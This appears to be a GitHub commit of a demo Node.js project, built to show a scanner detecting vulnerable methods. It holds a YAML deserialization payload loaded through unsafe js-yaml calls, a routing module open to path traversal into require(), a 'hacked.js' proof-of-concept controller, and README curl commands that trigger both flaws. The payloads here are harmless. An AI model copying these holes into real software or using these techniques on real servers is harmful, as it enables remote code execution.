Skip to content

Commit a51b2f9

Browse files
author
spencer
committed
init commit
0 parents  commit a51b2f9

8 files changed

+669
-0
lines changed

.gitignore

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/node_modules

README.md

+47
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# [:] Example node project with vulnerable methods
2+
3+
A node project to demonstrate srcclr agent's vulnerable methods feature for JavaScript
4+
5+
## Vulnerability 1 Exploit
6+
7+
```
8+
git clone https://github.com/srcclr/example-javascript-vulnerable-methods.git
9+
cd example-javascript-vulnerable-methods
10+
npm install
11+
node index.js
12+
13+
```
14+
15+
and then run the following command in another terminal
16+
17+
```
18+
curl --path-as-is 'http://127.0.0.1:8001/api/'
19+
```
20+
You can see the the code execution vulnerability are executed mutliple times.
21+
22+
23+
## Vulnerability 2 Exploit
24+
25+
```
26+
git clone https://github.com/srcclr/example-javascript-vulnerable-methods.git
27+
cd example-javascript-vulnerable-methods
28+
npm install
29+
node larvitbase-api.js
30+
31+
```
32+
33+
and then run the following command in another terminal
34+
35+
```
36+
curl --path-as-is 'http://127.0.0.1:8001/../../../../hacked'
37+
```
38+
You can see the JavaScript file`hacked.js` is executed in the server side.
39+
40+
## Scan with SRCCLR Agent
41+
42+
```
43+
brew tap srcclr/srcclr
44+
brew install srcclr
45+
srcclr activate
46+
srcclr scan --url https://github.com/srcclr/example-javascript-vulnerable-methods
47+
```

data/yaml-exploit.yml

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
{ toString: !<tag:yaml.org,2002:js/function> 'function (){return "\"current time\": \"" + Date.now() + "\""}' } : veracode.inc

hacked.js

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
'use strict';
2+
3+
exports = module.exports = function (req, res, cb) {
4+
res.data = {'this is': 'broken'};
5+
cb(new Error('You are Hacked'));
6+
};

index.js

+37
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
'use strict';
2+
3+
const http = require('http'),
4+
algoserv = require('algo-httpserv'),
5+
fs = require('fs'),
6+
yaml = require('js-yaml'),
7+
yamlTo = require('to'),
8+
yamlConf = require('node-yaml-config');// the vunlerable library is include to check whether we have false postives
9+
10+
11+
///----------The following are the driver---------------------///
12+
13+
// call vulnerable method js-yaml.load directly
14+
// js-yaml.load is vulnerable to code execution in yaml file
15+
const data = yaml.load(fs.readFileSync('./data/yaml-exploit.yml', 'utf-8'));
16+
console.log(data);
17+
18+
// transitive vulnerable method,
19+
// the to lib uses js-yaml.load which is vulnerable
20+
const data2 = yamlTo.load('./data/yaml-exploit.yml');
21+
console.log(data2);
22+
23+
// pass the vulnerable method as a callback
24+
const server = http.createServer(algoserv.serve);
25+
26+
// pass an callback which calls vulnerable method
27+
algoserv.on('/api/', (request, response, url) => {
28+
response.writeHead(200, {'Content-Type': 'application/json'});
29+
const data3 = yaml.load(fs.readFileSync('./data/yaml-exploit.yml', 'utf-8'));
30+
console.log(data3);
31+
response.write(JSON.stringify(data3));
32+
response.end();
33+
});
34+
35+
server.listen(8001);
36+
37+

larvitbase-api.js

+261
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,261 @@
1+
'use strict';
2+
3+
const topLogPrefix = 'larvitbase-api: ./index.js: ',
4+
ReqParser = require('larvitreqparser'),
5+
Router = require('larvitrouter'),
6+
semver = require('semver'),
7+
LBase = require('larvitbase'),
8+
path = require('path'),
9+
Lfs = require('larvitfs'),
10+
fs = require('fs'),
11+
LUtils = require('larvitutils');
12+
13+
function Api(options) {
14+
const logPrefix = topLogPrefix + 'Api() - ',
15+
that = this;
16+
17+
let controllersFullPath,
18+
lfs,
19+
altControllerPaths;
20+
21+
that.routeCache = {};
22+
23+
if ( ! options) {
24+
options = {};
25+
}
26+
27+
that.options = options;
28+
29+
if ( ! that.options.log) {
30+
const lUtils = new LUtils();
31+
that.options.log = new lUtils.Log();
32+
}
33+
that.log = that.options.log;
34+
35+
36+
if ( ! that.options.routerOptions) { that.options.routerOptions = {}; }
37+
if ( ! that.options.routerOptions.controllersPath) { that.options.routerOptions.controllersPath = 'controllers'; }
38+
if ( ! that.options.routerOptions.basePath) { that.options.routerOptions.basePath = process.cwd(); }
39+
if ( ! Array.isArray(that.options.routerOptions.routes)) { that.options.routerOptions.routes = []; }
40+
41+
if ( ! that.options.baseOptions) that.options.baseOptions = {};
42+
if ( ! Array.isArray(options.baseOptions.middleware)) {
43+
options.baseOptions.middleware = [];
44+
}
45+
46+
if (! that.options.reqParserOptions) { that.options.reqParserOptions = {}; }
47+
48+
if (! that.options.baseOptions.log) { that.options.baseOptions.log = that.log; }
49+
if (! that.options.routerOptions.log) { that.options.routerOptions.log = that.log; }
50+
if (! that.options.reqParserOptions.log) { that.options.reqParserOptions.log = that.log; }
51+
52+
that.middleware = options.baseOptions.middleware;
53+
54+
// Instantiate lfs
55+
lfs = new Lfs({'basePath': that.options.routerOptions.basePath});
56+
57+
altControllerPaths = lfs.getPathsSync('controllers');
58+
59+
// Resolve apiVersions
60+
controllersFullPath = path.join(that.options.routerOptions.basePath, that.options.routerOptions.controllersPath);
61+
if (fs.existsSync(controllersFullPath)) {
62+
that.apiVersions = fs.readdirSync(controllersFullPath).filter(function (file) {
63+
let versionStr = semver.clean(String(file) + '.0');
64+
65+
if (
66+
fs.statSync(controllersFullPath + '/' + file).isDirectory()
67+
&& semver.valid(versionStr) !== null
68+
) {
69+
return true;
70+
} else {
71+
return false;
72+
}
73+
});
74+
} else {
75+
that.apiVersions = [];
76+
that.log.info(logPrefix + 'No controllers folder detected');
77+
}
78+
79+
// Sort apiVersions
80+
that.apiVersions.sort(function (a, b) {
81+
return semver.gt(a + '.0', b + '.0');
82+
});
83+
84+
// Instantiate the router
85+
that.router = new Router(that.options.routerOptions);
86+
87+
// Instantiate the request parser
88+
that.reqParser = new ReqParser(that.options.reqParserOptions);
89+
90+
that.middleware.push(function (req, res, cb) {
91+
that.reqParser.parse(req, res, cb);
92+
});
93+
94+
// Default to the latest version of the API
95+
that.middleware.push(function (req, res, cb) {
96+
if ( ! semver.valid(req.url.split('/')[1] + '.0') && that.apiVersions.length) {
97+
req.url = '/' + that.apiVersions[that.apiVersions.length - 1] + req.url;
98+
}
99+
req.apiVersion = req.url.split('/')[1];
100+
req.urlBase = req.url.split('?')[0];
101+
cb();
102+
});
103+
104+
// Route the request
105+
that.middleware.push(function (req, res, cb) {
106+
let readmeFile = false;
107+
108+
// use cache first
109+
if (that.routeCache[req.urlBase]) {
110+
const rc = that.routeCache[req.urlBase];
111+
112+
if (rc.type === 'readme') {
113+
res.setHeader('Content-Type', 'text/markdown; charset=UTF-8');
114+
res.end(rc.data);
115+
return;
116+
} else {
117+
req.routed = that.routeCache[req.urlBase];
118+
return cb();
119+
}
120+
}
121+
122+
// clean cache if more than 1000 entries to avoid ddos or such
123+
if (Object.keys(that.routeCache).length > 1000) {
124+
that.routeCache = {};
125+
}
126+
127+
// Check if url is matching a directory that contains a README.md
128+
129+
// Request directly on root, existing README.md in root
130+
if (req.urlBase === '/' && lfs.getPathSync(path.join(that.options.routerOptions.basePath, '/README.md'))) {
131+
readmeFile = path.join(that.options.routerOptions.basePath, '/README.md');
132+
133+
// README exists on exactly the version URL requested
134+
} else if (lfs.getPathSync(path.join(req.urlBase, '/README.md').substring(1))) {
135+
readmeFile = lfs.getPathSync(path.join(req.urlBase, '/README.md').substring(1));
136+
} else if (lfs.getPathSync(path.join('controllers/', req.urlBase, '/README.md'))) {
137+
readmeFile = lfs.getPathSync(path.join('controllers/', req.urlBase, '/README.md'));
138+
139+
// Get readme directly from root, if it is missing in version folders
140+
// AND requested url is exactly a version-url
141+
} else if (semver.valid(req.url.split('/')[1] + '.0') && lfs.getPathSync('README.md') && req.urlBase === '/' + req.urlBase.split('/')[1] + '/') {
142+
readmeFile = lfs.getPathSync('README.md');
143+
144+
// Get hard coded string if root or version-url is requested and README.md is missing
145+
// AND requested url is exactly a version-url
146+
} else if (req.urlBase === '/' || semver.valid(req.url.split('/')[1] + '.0') && req.urlBase === '/' + req.url.split('/')[1] + '/') {
147+
return res.end('API is up and running. This API contains no README.md');
148+
}
149+
150+
// If a readme file is found, send that to the browser and end the request
151+
if (readmeFile) {
152+
res.setHeader('Content-Type', 'text/markdown; charset=UTF-8');
153+
return fs.readFile(readmeFile, function (err, data) {
154+
if (err) return cb(err);
155+
156+
that.routeCache[req.urlBase] = {
157+
'type': 'readme',
158+
'data': data
159+
};
160+
res.end(data);
161+
});
162+
}
163+
that.router.resolve(req.urlBase, function (err, result) {
164+
if (err) return cb(err);
165+
166+
// if nothing is found, check in the alternative controller paths
167+
if (Object.keys(result).length === 0) {
168+
for (let i = 0; altControllerPaths[i] !== undefined; i ++) {
169+
let stat;
170+
171+
if ( ! fs.existsSync(altControllerPaths[i])) continue;
172+
173+
stat = fs.statSync(altControllerPaths[i]);
174+
175+
if (stat.isDirectory()) {
176+
177+
// check if file exists without version no in the controllers path
178+
if (fs.existsSync(path.join(altControllerPaths[i], req.urlBase) + '.js')) {
179+
req.routed = {
180+
'controllerFullPath': path.join(altControllerPaths[i], req.urlBase) + '.js',
181+
'controllerPath': req.urlBase
182+
};
183+
that.routeCache[req.urlBase] = req.routed; // add to cache
184+
break;
185+
}
186+
}
187+
}
188+
}
189+
190+
if ( ! req.routed) {
191+
that.routeCache[req.urlBase] = result;
192+
req.routed = result;
193+
}
194+
195+
cb();
196+
});
197+
});
198+
199+
// Run controller
200+
that.middleware.push(function (req, res, cb) {
201+
if ( ! req.routed.controllerFullPath) {
202+
res.statusCode = 404;
203+
res.data = '"URL endpoint not found"';
204+
cb();
205+
} else {
206+
require(req.routed.controllerFullPath)(req, res, cb);
207+
}
208+
});
209+
210+
// Output JSON to client
211+
that.middleware.push(function (req, res, cb) {
212+
let sendData = res.data;
213+
214+
res.setHeader('Content-Type', 'application/json; charset=UTF-8');
215+
216+
try {
217+
if (typeof sendData !== 'string' && ! Buffer.isBuffer(sendData)) {
218+
sendData = JSON.stringify(sendData);
219+
}
220+
} catch (err) {
221+
return cb(err);
222+
}
223+
224+
res.end(sendData);
225+
cb();
226+
});
227+
228+
// Clean up if file storage is used by parser
229+
that.middleware.push(function (req, res, cb) {
230+
that.reqParser.clean(req, res, cb);
231+
});
232+
};
233+
234+
Api.prototype.start = function start(cb) {
235+
const that = this;
236+
237+
that.base = new LBase(that.options.baseOptions);
238+
239+
that.base.start(cb);
240+
241+
that.base.on('error', function (err, req, res) {
242+
res.statusCode = 500;
243+
res.end('"Internal server error: ' + err.message + '"');
244+
});
245+
};
246+
247+
Api.prototype.stop = function (cb) {
248+
const that = this;
249+
that.base.httpServer.close(cb);
250+
};
251+
252+
253+
///----------The following are the driver---------------------///
254+
// the following is an excerpt from lavitbase-api
255+
const api = new Api({
256+
'baseOptions': {'httpOptions': 8001}, // sent to larvitbase
257+
'routerOptions': {}, // sent to larvitrouter
258+
'reqParserOptions': {}, // sent to larvitReqParser
259+
});
260+
261+
api.start(function (err) {});

0 commit comments

Comments
 (0)